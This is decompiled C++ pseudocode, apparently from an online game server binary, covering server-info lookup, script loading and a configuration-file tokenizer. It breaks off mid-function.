CServerInfo::GetWorldName(CServerInfo *this, int nWorldNo, CServerInfo::WORLD_NAME *pWorldName) { CCsl *v3; // edi@1 int v4; // ebp@1 int v5; // esi@1 int v6; // eax@3 int result; // eax@5 v3 = (CCsl *)this; v4 = CCsl::GetNumDatas(&this->m_Csl); v5 = 0; if ( v4 <= 0 ) { LABEL_5: result = 0; } else { while ( 1 ) { if ( CCsl::GetDataInfo(v3, v5)->dwID == 2 ) { v6 = *(_DWORD *)CCsl::GetData(v3, v5, 0); if ( v6 == nWorldNo ) break; } ++v5; if ( v5 >= v4 ) goto LABEL_5; } pWorldName->nWorldNo = v6; pWorldName->pWorldName = (const char *)CCsl::GetData(v3, v5, 1); pWorldName->pWorldDataPath = (const char *)CCsl::GetData(v3, v5, 2); result = 1; } return result; } //----- (005E4350) -------------------------------------------------------- int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ServerID, int WorldNo, int ZoneNo, int ServerIDFrom) { CServerInfo *v6; // esi@1 int v7; // eax@1 int result; // eax@2 v6 = this; v7 = CServerInfo::GetServerIndex(this, ServerID, WorldNo, ZoneNo, ServerIDFrom); if ( v7 == -1 ) result = 0; else result = CServerInfo::GetServerInfo(v6, pServerInfo, v7); return result; } //----- (005E4390) -------------------------------------------------------- int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ServerID, int WorldNo, int ZoneNo) { CServerInfo *v5; // esi@1 int v6; // eax@1 int result; // eax@2 v5 = this; v6 = CServerInfo::GetServerIndex(this, ServerID, WorldNo, ZoneNo); if ( v6 == -1 ) result = 0; else result = CServerInfo::GetServerInfo(v5, pServerInfo, v6); return result; } //----- (005E43D0) -------------------------------------------------------- void __thiscall ShineScript::ss_Load(ShineScript *this, Name4 *world, const char *scriptname) { int v3; // edx@1 OptionReader *v4; // esi@1 int v5; // ecx@1 int v6; // edx@1 int v7; // edi@3 char *v8; // eax@3 ORToken v9; // [sp-18h] [bp-ECh]@5 int v10; // [sp-14h] [bp-E8h]@5 int v11; // [sp-10h] [bp-E4h]@5 int v12; // [sp-Ch] [bp-E0h]@5 int *v13; // [sp-8h] [bp-DCh]@1 char *v14; // [sp-4h] [bp-D8h]@5 ORToken *v15; // [sp+Ch] [bp-C8h]@1 int buf; // [sp+10h] [bp-C4h]@1 int v17; // [sp+14h] [bp-C0h]@1 int v18; // [sp+18h] [bp-BCh]@1 int v19; // [sp+1Ch] [bp-B8h]@1 char v20; // [sp+20h] [bp-B4h]@1 char path[128]; // [sp+50h] [bp-84h]@1 unsigned int v22; // [sp+D0h] [bp-4h]@1 v22 = (unsigned int)&v15 ^ __security_cookie; v3 = *(_DWORD *)&world->n4_name[4]; v4 = (OptionReader *)this; buf = *(_DWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v17 = v3; v6 = *(_DWORD *)&world->n4_name[12]; v13 = &buf; v18 = v5; v19 = v6; v20 = 0; sprintf(path, "../9Data/Hero/World/%s/Script/%s.txt"); if ( !OptionReader::or_Read(v4, path) ) { sprintf(path, "../9Data/Hero/Script/%s.txt"); if ( !OptionReader::or_Read(v4, path) ) { AssertClass::ac_AssertFail(&shineassert, "ShineScript::ss_Load : Error in Script read", path); v7 = OptionReader::or_ErrorLine(v4); v8 = OptionReader::or_ErrorString(v4); AssertClass::ac_AssertFail(&shineassert, v8, v7); ShineExit("ShineScript::ss_Load"); } } v14 = "ScrIndex"; v15 = &v9; v13 = 0; v12 = 0; v11 = 0; v10 = 0; *(_DWORD *)&v9.ort_Name[0] = 0; strncpy(v9.ort_Name, "Script", 0x14u); if ( !OptionReader::or_MakePrimaryKey(v4, v9, v14) ) { AssertClass::ac_AssertFail(&shineassert, "ShineScript::ss_Load : Error in indexing", 0); ShineExit("ShineScript::ss_Load"); } } //----- (005E4520) -------------------------------------------------------- void __thiscall KQScriptManager::KQScriptManager(KQScriptManager *this) { KQScriptManager *v1; // esi@1 v1 = this; BTree::BTree(&this->kqsm_BTree); _eh_vector_constructor_iterator_( v1->kqsm_Script, 0x10854u, 64, (void (__thiscall *)(void *))RecallPointTable::RecallPointTable, (void (__thiscall *)(void *))ShineCommonParameter::_ShineCommonParameter); } //----- (005E4580) -------------------------------------------------------- void __thiscall KQScriptManager::_KQScriptManager(KQScriptManager *this) { BTree *v1; // esi@1 v1 = (BTree *)this; _eh_vector_destructor_iterator_( this->kqsm_Script, 0x10854u, 64, (void (__thiscall *)(void *))ShineCommonParameter::_ShineCommonParameter); BTree::_BTree(v1); } //----- (005E45E0) -------------------------------------------------------- void __thiscall KQScriptManager::kqsm_Load(KQScriptManager *this, Name4 *world, char *name) { KQScriptManager *v3; // esi@1 v3 = this; if ( this->kqsm_Number >= 0x40 ) { AssertClass::ac_AssertFail(&shineassert, "Too many KQ Script", 0); ShineExit("KQScriptManager::kqsm_Load"); } ShineScript::ss_Load(&this->kqsm_Script[this->kqsm_Number], world, name); BTree::bt_Insert(&v3->kqsm_BTree, name, v3->kqsm_Number++); } //----- (005E4660) -------------------------------------------------------- ShineScript *__thiscall KQScriptManager::operator__(KQScriptManager *this, char *name) { KQScriptManager *v2; // esi@1 unsigned int v3; // eax@1 ShineScript *result; // eax@2 int v5; // ecx@3 v2 = this; v3 = BTree::operator__(&this->kqsm_BTree, name); if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "Invalid script name", name); result = 0; } else { v5 = v2->kqsm_Number; if ( v3 < v5 ) { result = &v2->kqsm_Script[v3]; } else { AssertClass::ac_AssertFail(&shineassert, "Invalid script name(Too many sub", v5); result = 0; } } return result; } //----- (005E46D0) -------------------------------------------------------- void __thiscall KQScriptManager::kqsm_Load(KQScriptManager *this, Name4 *world) { KQScriptManager *v2; // ebp@1 char v3; // bl@1 int v4; // eax@1 int i; // ebx@4 void *v6; // esi@5 ORToken v7; // [sp-24h] [bp-108A4h]@5 int v8; // [sp-20h] [bp-108A0h]@5 int v9; // [sp-1Ch] [bp-1089Ch]@5 int v10; // [sp-18h] [bp-10898h]@5 int v11; // [sp-14h] [bp-10894h]@5 char *v12; // [sp-10h] [bp-10890h]@5 int v13; // [sp-Ch] [bp-1088Ch]@5 int v14; // [sp-8h] [bp-10888h]@5 int *v15; // [sp-4h] [bp-10884h]@5 Name4 *v16; // [sp+10h] [bp-10870h]@1 int type; // [sp+14h] [bp-1086Ch]@5 ORToken *v18; // [sp+18h] [bp-10868h]@5 OptionReader or; // [sp+1Ch] [bp-10864h]@1 unsigned int v20; // [sp+10870h] [bp-10h]@1 int v21; // [sp+1087Ch] [bp-4h]@1 v20 = (unsigned int)&v16 ^ __security_cookie; v2 = this; v16 = world; OptionReader::OptionReader(&or); v21 = 0; v3 = OptionReader::or_Read(&or, "../9Data/Hero/World/PineScript.txt"); v4 = OptionReader::or_ErrorLine(&or); if ( !v3 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Option read error", v4); ShineExit("KQScriptManager::kqsm_Load"); } for ( i = 0; ; ++i ) { v15 = &type; v14 = i; v13 = 0; v12 = byte_635E1E; v18 = &v7; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, "DialogFile", 0x14u); v6 = OptionReader::or_Select(&or, "ScriptName", v7, v12, v13, v14, v15); if ( !v6 ) break; if ( type != 2 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Type error", type); ShineExit("KQScriptManager::kqsm_Load"); } KQScriptManager::kqsm_Load(v2, v16, (char *)v6); } if ( i <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "KQScriptManager::kqsm_Load : No Script", i); ShineExit("KQScriptManager::kqsm_Load"); } v21 = -1; OptionReader::_OptionReader(&or); __security_check_cookie((unsigned int)&v16 ^ v20); } //----- (005E4850) -------------------------------------------------------- ORToken *__thiscall ORToken::ort_ToLower(ORToken *this) { ORToken *result; // eax@1 char *v2; // edx@1 signed int v3; // esi@1 unsigned __int8 v4; // bl@2 char v5; // bl@5 char v6; // bl@8 char v7; // bl@11 char v8; // bl@14 result = this; v2 = &this->ort_Name[1]; v3 = 4; do { v4 = *(v2 - 1); if ( v4 >= 0x41u && v4 <= 0x5Au ) *(v2 - 1) = v4 + 32; v5 = *v2; if ( (unsigned __int8)*v2 >= 0x41u && (unsigned __int8)v5 <= 0x5Au ) *v2 = v5 + 32; v6 = v2[1]; if ( (unsigned __int8)v6 >= 0x41u && (unsigned __int8)v6 <= 0x5Au ) v2[1] = v6 + 32; v7 = v2[2]; if ( (unsigned __int8)v7 >= 0x41u && (unsigned __int8)v7 <= 0x5Au ) v2[2] = v7 + 32; v8 = v2[3]; if ( (unsigned __int8)v8 >= 0x41u ) { if ( (unsigned __int8)v8 <= 0x5Au ) v2[3] = v8 + 32; } v2 += 5; --v3; } while ( v3 ); return result; } //----- (005E48D0) -------------------------------------------------------- char __thiscall ORToken::ort_IsNull(ORToken *this) { return this->ort_Name[0] == 0; } //----- (005E48E0) -------------------------------------------------------- char *__thiscall ORToken::ort_GetString(ORToken *this, char *buf) { char *result; // eax@1 result = buf; *(_QWORD *)buf = *(_QWORD *)&this->ort_Name[0]; *((_QWORD *)buf + 1) = *(_QWORD *)&this->ort_Name[8]; *((_DWORD *)buf + 4) = *(_DWORD *)&this->ort_Name[16]; buf[20] = 0; return result; } //----- (005E4910) -------------------------------------------------------- char __thiscall ORLinebuffer::orlb_LineRead(ORLinebuffer *this) { ORLinebuffer *v1; // esi@1 const char *v2; // edi@1 char result; // al@2 unsigned int v4; // ecx@3 int v5; // eax@3 v1 = this; v2 = this->orlb_Buffer; if ( fgets(this->orlb_Buffer, 2048, this->orlb_fp) ) { v4 = strlen(v2); v5 = 0; v1->orlb_LineLen = v4; for ( v1->orlb_Pointer = 0; v5 < v1->orlb_LineLen; ++v5 ) { if ( v2[v5] == 32 ) { if ( v5 > 0 && *((_BYTE *)&v1->orlb_fp + v5 + 3) == 9 ) v2[v5] = 9; if ( v5 < v1->orlb_LineLen - 1 ) { if ( v1->orlb_Buffer[v5 + 1] == 9 ) v2[v5] = 9; } } } result = 1; } else { v1->orlb_LineLen = -1; result = 0; } return result; } //----- (005E49A0) -------------------------------------------------------- int __thiscall ORLinebuffer::orlb_FGetc(ORLinebuffer *this) { int v1; // edx@1 int result; // eax@2 v1 = this->orlb_Pointer; if ( this->orlb_LineLen >= v1 ) { result = this->orlb_Buffer[v1]; this->orlb_Pointer = v1 + 1; } else { result = 999; } return result; } //----- (005E49D0) -------------------------------------------------------- char __thiscall ORDelimiter::operator__(ORDelimiter *this, int chr) { char result; // al@2 int v3; // edx@3 int v4; // eax@3 if ( chr >= 32 ) { v3 = this->ord_Number; v4 = 0; if ( v3 <= 0 ) { LABEL_6: result = 0; } else { while ( this->ord_Array[v4] != chr ) { ++v4; if ( v4 >= v3 ) goto LABEL_6; } result = 1; } } else { result = 1; } return result; } //----- (005E4A10) -------------------------------------------------------- void __thiscall ORDelimiter::ORDelimiter(ORIgnore *this) { this->ori_Number = 0; } //----- (005E4A20) -------------------------------------------------------- void __thiscall ORExchange::ORExchange(ORExchange *this) { this->ore_Number = 0; } //----- (005E4A30) -------------------------------------------------------- int __thiscall ORExchange::operator__(ORExchange *this, int chr) { int result; // eax@1 int v3; // esi@1 int v4; // edx@1 result = chr; v3 = this->ore_Number; v4 = 0; if ( v3 > 0 ) { while ( this->ore_Array[v4].from != chr ) { ++v4; if ( v4 >= v3 ) return result; } result = this->ore_Array[v4].to; } return result; } //----- (005E4A60) -------------------------------------------------------- void __thiscall ORComment::ORComment(ORComment *this) { this->orc_Comment = 59; } //----- (005E4A70) -------------------------------------------------------- void __thiscall ORBrace::ORBrace(ORBrace *this) { this->orc_Open = 91; this->orc_Close = 93; } //----- (005E4A80) -------------------------------------------------------- char __thiscall ORBrace::orb_IsOpen(ORBrace *this, int chr) { return this->orc_Open == chr; } //----- (005E4A90) -------------------------------------------------------- char __thiscall ORBrace::orb_IsClose(ORBrace *this, int chr) { return this->orc_Close == chr; } //----- (005E4AA0) -------------------------------------------------------- void __thiscall ORErrorMessage::orem_Clear(ORErrorMessage *this) { this->orem_Line = 0; this->orem_Message = "Noerr"; this->orem_Err = 0; } //----- (005E4AC0) -------------------------------------------------------- void __thiscall ORErrorMessage::operator_(ORErrorMessage *this, char *msg) { this->orem_Message = msg; this->orem_Err = 1; } //----- (005E4AD0) -------------------------------------------------------- void __thiscall ORTokenReader::ORTokenReader(ORTokenReader *this, _iobuf *fp, TokenArgument *argument) { this->ortr_LineBuffer.orlb_fp = fp; this->ortr_LineBuffer.orlb_Pointer = 0; this->ortr_LineBuffer.orlb_LineLen = -1; this->ortr_Argument = argument; } //----- (005E4B00) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_SkipBlank(ORTokenReader *this) { int v1; // edx@1 int result; // eax@2 TokenArgument *v3; // esi@3 int v4; // edi@6 int v5; // edx@6 while ( 1 ) { v1 = this->ortr_LineBuffer.orlb_Pointer; if ( this->ortr_LineBuffer.orlb_LineLen < v1 ) break; result = this->ortr_LineBuffer.orlb_Buffer[v1]; this->ortr_LineBuffer.orlb_Pointer = v1 + 1; if ( result == 999 ) break; v3 = this->ortr_Argument; if ( result == v3->comment.orc_Comment ) { this->ortr_LineBuffer.orlb_Pointer = 0; this->ortr_LineBuffer.orlb_LineLen = -1; } else { if ( result >= 32 ) { v4 = v3->delimiter.ord_Number; v5 = 0; if ( v4 <= 0 ) return result; while ( v3->delimiter.ord_Array[v5] != result ) { ++v5; if ( v5 >= v4 ) return result; } } } } return 999; } //----- (005E4B80) -------------------------------------------------------- void __thiscall ORTokenReader::ortr_SetError(ORTokenReader *this, char *err) { TokenArgument *v2; // eax@1 v2 = this->ortr_Argument; v2->errmsg.orem_Message = err; v2->errmsg.orem_Err = 1; } //----- (005E4BA0) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadNumber8(ORTokenReader *this, char *result) { int v2; // eax@1 int v3; // esi@2 signed int v4; // edx@3 int v5; // edx@6 v2 = 0; while ( 1 ) { v3 = this->ortr_LineBuffer.orlb_Pointer; if ( this->ortr_LineBuffer.orlb_LineLen < v3 ) break; v4 = this->ortr_LineBuffer.orlb_Buffer[v3]; this->ortr_LineBuffer.orlb_Pointer = v3 + 1; if ( v4 < 48 ) break; if ( v4 > 55 ) break; v2 = v4 + 8 * v2 - 48; *result = 1; } v5 = this->ortr_LineBuffer.orlb_Pointer; if ( v5 > 0 ) this->ortr_LineBuffer.orlb_Pointer = v5 - 1; return v2; } //----- (005E4C00) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadNumber10(ORTokenReader *this, char *result) { int v2; // eax@1 int v3; // esi@2 signed int v4; // edx@3 int v5; // edx@6 v2 = 0; while ( 1 ) { v3 = this->ortr_LineBuffer.orlb_Pointer; if ( this->ortr_LineBuffer.orlb_LineLen < v3 ) break; v4 = this->ortr_LineBuffer.orlb_Buffer[v3]; this->ortr_LineBuffer.orlb_Pointer = v3 + 1; if ( v4 < 48 ) break; if ( v4 > 57 ) break; v2 = v4 + 10 * v2 - 48; *result = 1; } v5 = this->ortr_LineBuffer.orlb_Pointer; if ( v5 > 0 ) this->ortr_LineBuffer.orlb_Pointer = v5 - 1; return v2; } //----- (005E4C60) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadNumber16(ORTokenReader *this, char *result) { int v2; // eax@1 int v3; // esi@2 signed int v4; // edx@3 int v5; // edx@12 v2 = 0; while ( 1 ) { v3 = this->ortr_LineBuffer.orlb_Pointer; if ( this->ortr_LineBuffer.orlb_LineLen < v3 ) break; v4 = this->ortr_LineBuffer.orlb_Buffer[v3]; this->ortr_LineBuffer.orlb_Pointer = v3 + 1; if ( v4 < 48 || v4 > 57 ) { if ( v4 < 65 || v4 > 70 ) { if ( v4 < 97 || v4 > 102 ) break; v2 = v4 - 87 + 16 * v2; *result = 1; } else { v2 = v4 - 55 + 16 * v2; *result = 1; } } else { v2 = v4 - 48 + 16 * v2; *result = 1; } } v5 = this->ortr_LineBuffer.orlb_Pointer; if ( v5 > 0 ) this->ortr_LineBuffer.orlb_Pointer = v5 - 1; return v2; } //----- (005E4CF0) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_GetOctal(ORTokenReader *this) { int v1; // ebx@1 int result; // eax@1 signed int v3; // edi@1 int v4; // esi@2 signed int v5; // edx@3 v1 = this->ortr_LineBuffer.orlb_LineLen; result = 0; v3 = 0; while ( 1 ) { v4 = this->ortr_LineBuffer.orlb_Pointer; if ( v1 < v4 ) break; v5 = this->ortr_LineBuffer.orlb_Buffer[v4]; this->ortr_LineBuffer.orlb_Pointer = v4 + 1; if ( v5 < 48 ) break; if ( v5 > 55 ) break; ++v3; result = v5 + 8 * result - 48; if ( v3 >= 3 ) return result; } return 999; } //----- (005E4D40) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_GetDigit(ORTokenReader *this) { int v1; // ebx@1 int result; // eax@1 signed int v3; // edi@1 int v4; // esi@2 signed int v5; // edx@3 v1 = this->ortr_LineBuffer.orlb_LineLen; result = 0; v3 = 0; while ( 1 ) { v4 = this->ortr_LineBuffer.orlb_Pointer; if ( v1 < v4 ) break; v5 = this->ortr_LineBuffer.orlb_Buffer[v4]; this->ortr_LineBuffer.orlb_Pointer = v4 + 1; if ( v5 < 48 ) break; if ( v5 > 57 ) break; ++v3; result = v5 + 10 * result - 48; if ( v3 >= 3 ) return result; } return 999; } //----- (005E4D90) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_GetHexa(ORTokenReader *this) { int v1; // ebx@1 int result; // eax@1 signed int v3; // edi@1 int v4; // esi@2 signed int v5; // edx@3 int v6; // edx@5 v1 = this->ortr_LineBuffer.orlb_LineLen; result = 0; v3 = 0; while ( 1 ) { v4 = this->ortr_LineBuffer.orlb_Pointer; if ( v1 < v4 ) break; v5 = this->ortr_LineBuffer.orlb_Buffer[v4]; this->ortr_LineBuffer.orlb_Pointer = v4 + 1; if ( v5 < 48 || v5 > 57 ) { if ( v5 < 65 || v5 > 70 ) { if ( v5 < 97 || v5 > 102 ) return 999; v6 = v5 - 87; } else { v6 = v5 - 55; } } else { v6 = v5 - 48; } result = v6 + 16 * result; ++v3; if ( v3 >= 2 ) return result; } return 999; } //----- (005E4E00) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadNumber(ORTokenReader *this, char *result) { int v2; // eax@1 int v3; // ecx@1 int v4; // eax@2 bool v5; // zf@3 int v6; // eax@3 int v7; // edx@8 int v8; // eax@9 v2 = ORTokenReader::ortr_SkipBlank(this); if ( v2 == 45 ) { v4 = -ORTokenReader::ortr_ReadNumber((ORTokenReader *)v3, result); } else { v5 = v2 == 48; v6 = *(_DWORD *)(v3 + 2056); if ( v5 ) { if ( *(_DWORD *)(v3 + 2052) >= v6 && (v7 = *(_BYTE *)(v6 + v3 + 4), *(_DWORD *)(v3 + 2056) = v6 + 1, v7 == 120) ) { v4 = ORTokenReader::ortr_ReadNumber16((ORTokenReader *)v3, result); } else { v8 = *(_DWORD *)(v3 + 2056); if ( v8 > 0 ) *(_DWORD *)(v3 + 2056) = v8 - 1; *result = 1; v4 = ORTokenReader::ortr_ReadNumber8((ORTokenReader *)v3, result); } } else { if ( v6 > 0 ) *(_DWORD *)(v3 + 2056) = v6 - 1; v4 = ORTokenReader::ortr_ReadNumber10((ORTokenReader *)v3, result); } } return v4; } //----- (005E4E80) -------------------------------------------------------- char __thiscall ORTokenReader::ortr_isEOL(ORTokenReader *this) { int v1; // eax@1 int v2; // ecx@1 char result; // al@4 int v4; // ecx@5 v1 = ORTokenReader::ortr_SkipBlank(this); if ( v1 == 999 ) { LABEL_4: result = 1; } else { while ( v1 == 32 ) { v1 = ORTokenReader::ortr_SkipBlank((ORTokenReader *)v2); if ( v1 == 999 ) goto LABEL_4; } v4 = *(_DWORD *)(v2 + 2060); *(_DWORD *)(v4 + 4) = "Extra data exist"; *(_BYTE *)(v4 + 8) = 1; result = 0; } return result; } //----- (005E4EC0) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadChar(ORTokenReader *this) { int result; // eax@1 int v2; // ecx@1 int v3; // ecx@2 int v4; // eax@4 signed int v5; // edx@5 int v6; // ecx@14 result = ORTokenReader::ortr_SkipBlank(this); if ( result == 999 ) { v3 = *(_DWORD *)(v2 + 2060); *(_DWORD *)(v3 + 4) = "Unexpected EOF"; *(_BYTE *)(v3 + 8) = 1; return result; } if ( result == 92 ) { v4 = *(_DWORD *)(v2 + 2056); if ( *(_DWORD *)(v2 + 2052) >= v4 ) { v5 = *(_BYTE *)(v4 + v2 + 4); *(_DWORD *)(v2 + 2056) = v4 + 1; } else { v5 = 999; } result = 999; if ( v5 == 100 ) { result = ORTokenReader::ortr_GetDigit((ORTokenReader *)v2); } else { if ( v5 == 111 ) { result = ORTokenReader::ortr_GetOctal((ORTokenReader *)v2); } else { if ( v5 != 120 ) { LABEL_14: v6 = *(_DWORD *)(v2 + 2060); *(_DWORD *)(v6 + 4) = "Invalid character"; *(_BYTE *)(v6 + 8) = 1; return result; } result = ORTokenReader::ortr_GetHexa((ORTokenReader *)v2); } } if ( result < 256 ) return result; goto LABEL_14; } return result; } //----- (005E4F50) -------------------------------------------------------- char *__thiscall ORTokenReader::ortr_ReadString(ORTokenReader *this, ORTokenReader::BraceInString readbrace) { ORTokenReader *v2; // esi@1 int v3; // eax@2 TokenArgument *v4; // ecx@2 int v5; // edi@2 int v6; // ecx@2 int v7; // edx@2 char *result; // eax@6 int v9; // ecx@8 int v10; // eax@9 int v11; // ebp@9 int v12; // ebx@9 TokenArgument *v13; // edx@10 int v14; // edi@10 int v15; // ecx@10 int v16; // eax@18 ORTokenReader *v17; // ecx@18 int v18; // eax@21 TokenArgument *v19; // edi@27 bool v20; // sf@29 unsigned __int8 v21; // of@29 TokenArgument *v22; // esi@31 signed int i; // [sp+Ch] [bp-Ch]@7 int v24; // [sp+14h] [bp-4h]@9 v2 = this; while ( 1 ) { v3 = ORTokenReader::ortr_SkipBlank(v2); v4 = v2->ortr_Argument; v5 = v4->ignore.ori_Number; v6 = (int)&v4->ignore; v7 = 0; if ( v5 <= 0 ) break; while ( *(_BYTE *)(v7 + v6) != v3 ) { ++v7; if ( v7 >= v5 ) goto LABEL_5; } } LABEL_5: if ( v3 == 999 ) { result = 0; } else { v2->ortr_Buffer[0] = v3; i = 1; do { v9 = v2->ortr_LineBuffer.orlb_Pointer; if ( v2->ortr_LineBuffer.orlb_LineLen < v9 ) break; v10 = v2->ortr_LineBuffer.orlb_Buffer[v9]; v11 = v9 + 1; v24 = v9 + 1; v2->ortr_LineBuffer.orlb_Pointer = v9 + 1; v12 = v10; if ( v10 == 999 ) break; v13 = v2->ortr_Argument; v14 = v13->ignore.ori_Number; v15 = 0; if ( v14 <= 0 ) { LABEL_14: if ( readbrace == 1 ) { if ( v13->brace.orc_Open == v10 || v13->brace.orc_Close == v10 ) { if ( v11 > 0 ) v2->ortr_LineBuffer.orlb_Pointer = v11 - 1; break; } if ( v10 == 92 ) { v16 = ORLinebuffer::orlb_FGetc(&v2->ortr_LineBuffer); if ( v16 == 100 ) { v18 = ORTokenReader::ortr_GetDigit(v2); } else { if ( v16 == 111 ) { v18 = ORTokenReader::ortr_GetOctal(v2); } else { if ( v16 != 120 ) goto LABEL_31; v18 = ORTokenReader::ortr_GetHexa(v17); } } if ( v18 >= 256 ) { LABEL_31: v22 = v2->ortr_Argument; v22->errmsg.orem_Message = "Invalid character"; v22->errmsg.orem_Err = 1; return 0; } v12 = v18; } } v19 = v2->ortr_Argument; if ( ORDelimiter::operator__(&v19->delimiter, v12) ) break; v2->ortr_Buffer[i] = ORExchange::operator__(&v19->exchange, v12); } else { while ( v13->ignore.ori_Array[v15] != v10 ) { ++v15; if ( v15 >= v14 ) { v11 = v24; goto LABEL_14; } } --i; } v21 = __OFSUB__(i + 1, 2048); v20 = i++ - 2047 < 0; } while ( v20 ^ v21 ); v2->ortr_Buffer[i] = 0; result = v2->ortr_Buffer; } return result; } //----- (005E50F0) -------------------------------------------------------- ORToken *__thiscall ORTokenReader::ortr_ReadCommand(ORTokenReader *this, ORToken *com) { ORTokenReader *v2; // esi@1 int v3; // eax@2 ORLinebuffer *v4; // ecx@2 TokenArgument *v5; // esi@4 ORToken *result; // eax@4 TokenArgument *v7; // esi@6 char *v8; // eax@7 v2 = this; if ( ORLinebuffer::orlb_LineRead(&this->ortr_LineBuffer) ) { while ( 1 ) { ++v2->ortr_Argument->errmsg.orem_Line; v3 = ORTokenReader::ortr_SkipBlank(v2); if ( v3 != 999 ) break; if ( !ORLinebuffer::orlb_LineRead(v4) ) goto LABEL_4; } if ( v3 == 35 ) { v8 = ORTokenReader::ortr_ReadString(v2, BIS_EXCLUDEBRACE); *(_QWORD *)&com->ort_Name[12] = 0i64; *(_QWORD *)&com->ort_Name[4] = 0i64; *(_DWORD *)&com->ort_Name[0] = 0; strncpy(com->ort_Name, v8, 0x14u); ORToken::ort_ToLower(com); result = com; } else { v7 = v2->ortr_Argument; v7->errmsg.orem_Message = "# comment expected"; v7->errmsg.orem_Err = 1; result = 0; } } else { LABEL_4: v5 = v2->ortr_Argument; v5->errmsg.orem_Message = "Unexpected EOF"; v5->errmsg.orem_Err = 1; result = 0; } return result; } //----- (005E5190) -------------------------------------------------------- char __thiscall ORDelimiter::ord_Exec(ORIgnore *this, ORTokenReader *token) { ORIgnore *v2; // esi@1 TokenArgument *v3; // eax@2 int v5; // eax@4 v2 = this; if ( this->ori_Number >= 32 ) { v3 = token->ortr_Argument; v3->errmsg.orem_Message = "Too many delimiters"; v3->errmsg.orem_Err = 1; return 0; } v5 = ORTokenReader::ortr_ReadChar(token); if ( v5 >= 256 ) return 0; v2->ori_Array[v2->ori_Number++] = v5; return 1; } //----- (005E51E0) -------------------------------------------------------- char __thiscall ORExchange::ore_Exec(ORExchange *this, ORTokenReader *token) { ORExchange *v2; // esi@1 TokenArgument *v3; // eax@2 char result; // al@2 int v5; // eax@3 int v6; // eax@5 v2 = this; if ( this->ore_Number < 32 ) { v5 = ORTokenReader::ortr_ReadChar(token); if ( v5 >= 256 || (v2->ore_Array[v2->ore_Number].from = v5, v6 = ORTokenReader::ortr_ReadChar(token), v6 >= 256) ) { result = 0; } else { v2->ore_Array[v2->ore_Number++].to = v6; result = 1; } } else { v3 = token->ortr_Argument; v3->errmsg.orem_Message = "Too many exchange"; v3->errmsg.orem_Err = 1; result = 0; } return result; } //----- (005E5250) -------------------------------------------------------- char __thiscall ORComment::orc_Exec(ORComment *this, ORTokenReader *token) { ORComment *v2; // esi@1 int v3; // eax@1 char result; // al@2 v2 = this; v3 = ORTokenReader::ortr_ReadChar(token); if ( v3 < 256 ) { v2->orc_Comment = v3; result = 1; } else { result = 0; } return result; } //----- (005E5280) -------------------------------------------------------- char __thiscall ORBrace::orb_Exec(ORBrace *this, ORTokenReader *token) { ORBrace *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 char result; // al@3 v2 = this; v3 = ORTokenReader::ortr_ReadChar(token); if ( v3 < 256 && (v2->orc_Open = v3, v4 = ORTokenReader::ortr_ReadChar(token), v4 < 256) ) { v2->orc_Close = v4; result = 1; } else { result = 0; } return result; } //----- (005E52C0) -------------------------------------------------------- void __thiscall ORErrorMessage::ORErrorMessage(ORErrorMessage *this) { this->orem_Line = 0; this->orem_Message = "Noerr"; this->orem_Err = 0; } //----- (005E52E0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete(v1); } // 632054: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (005E5300) -------------------------------------------------------- char __thiscall List::l_Enlargement(List *this, int extsize) { List *v2; // ebp@1 ListArray *v3; // eax@2 int v5; // ebx@4 void *v6; // esi@4 void *v7; // eax@5 int i; // ecx@8 void *v9; // ecx@11 void *v10; // edx@11 int v11; // esi@11 int v12; // ecx@13 int v13; // edx@14 int v14; // eax@16 int v15; // edx@16 void *v16; // ST04_4@16 void **v17; // eax@16 ListArray *v18; // edx@16 void *newarray; // [sp+8h] [bp-4h]@5 void *extsizea; // [sp+10h] [bp+4h]@4 v2 = this; if ( this->l_Finger.empty != -1 || (v3 = this->l_ListArray) == 0 ) return 0; v5 = extsize + v3->la_Size; v6 = operator new(4 * v5); extsizea = v6; if ( !v6 ) return 0; v7 = operator new(12 * v5 + 12); newarray = v7; if ( !v7 ) { operator delete(v6); return 0; } for ( i = 0; i < v2->l_ListArray->la_Size; ++i ) *((_DWORD *)v6 + i) = v2->l_ListArray->la_Array[i].c_card; memcpy(v7, v2->l_Array, 12 * v2->l_ListArray->la_Size); *((_WORD *)v7 + 6 * v2->l_Array[v2->l_Finger.store].ls_Next + 3) = v5; *((_WORD *)v7 + 6 * v2->l_Array[v2->l_Finger.store].ls_Prev + 2) = v5; if ( v5 > 0 ) { v9 = v6; v10 = v7; v11 = v5; do { *(_DWORD *)v10 = v9; v9 = (char *)v9 + 4; v10 = (char *)v10 + 12; --v11; } while ( v11 ); } v12 = v2->l_MaxSize; if ( v12 < v5 ) { v13 = (int)((char *)v7 + 12 * v12 + 4); do { *(_WORD *)v13 = v12 + 1; *(_BYTE *)(v13 + 4) = 0; *(_WORD *)(v13 + 2) = v12++ - 1; v13 += 12; } while ( v12 < v5 ); } *((_WORD *)v7 + 6 * v2->l_MaxSize + 3) = v5 - 1; v14 = (int)((char *)v7 + 12 * v5); *(_WORD *)(v14 - 8) = 